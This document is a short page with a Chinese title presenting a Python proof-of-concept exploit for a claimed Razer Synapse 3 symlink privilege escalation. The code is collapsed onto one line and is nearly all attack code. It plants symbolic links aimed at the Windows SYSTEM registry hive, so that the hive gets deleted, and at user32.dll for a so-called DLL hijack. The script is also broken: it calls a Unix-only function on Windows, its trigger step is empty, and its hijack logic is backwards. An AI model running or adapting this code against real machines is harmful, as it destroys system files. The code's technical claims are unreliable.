CVE-2025-9869 Razer Synapse 3 符号链接本地权限提升漏洞

# CVE-2025-9869 PoC - Razer Synapse 3 Symbolic Link Local Privilege Escalation # Requirements: Low-privileged code execution on target system import os import sys import subprocess import time def create_symlink(target, link_path): """Create a symbolic link to target file""" try: if os.path.exists(link_path): os.remove(link_path) os.symlink(target, link_path) print(f"[+] Symbolic link created: {link_path} -> {target}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit(): """Exploit CVE-2025-9869""" print("[*] CVE-2025-9869 Exploitation - Razer Synapse 3 LPE") print(f"[*] Current privilege level: {os.getuid()}") # Target system file to be deleted via symlink abuse target_file = r"C:\Windows\System32\config\SYSTEM" symlink_path = r"C:\ProgramData\Razer\Synapse3\Macros\evil_link" # Step 1: Create symbolic link print("[*] Step 1: Creating symbolic link...") if not create_symlink(target_file, symlink_path): return False # Step 2: Trigger Razer Synapse service to follow symlink print("[*] Step 2: Triggering Razer Synapse service...") # This would trigger the vulnerable code path in RzSynapse.exe # The service processes the symlink and operates on target_file # Step 3: Verify exploitation (in real scenario, use post-exploitation) print("[*] Step 3: Verifying file operation...") time.sleep(2) # Alternative: Create DLL hijacking scenario # Point symlink to a DLL that will be loaded by high-privilege process dll_target = r"C:\Windows\System32\user32.dll" dll_symlink = r"C:\ProgramData\Razer\Synapse3\Modules\malicious.dll" print("[*] Alternative: DLL hijacking via symlink...") create_symlink(dll_target, dll_symlink) # Step 4: Escalate privileges print("[+] Exploitation complete - escalate privileges via DLL injection") return True if __name__ == "__main__": if not os.name == 'nt': print("[-] This exploit targets Windows systems only") sys.exit(1) exploit()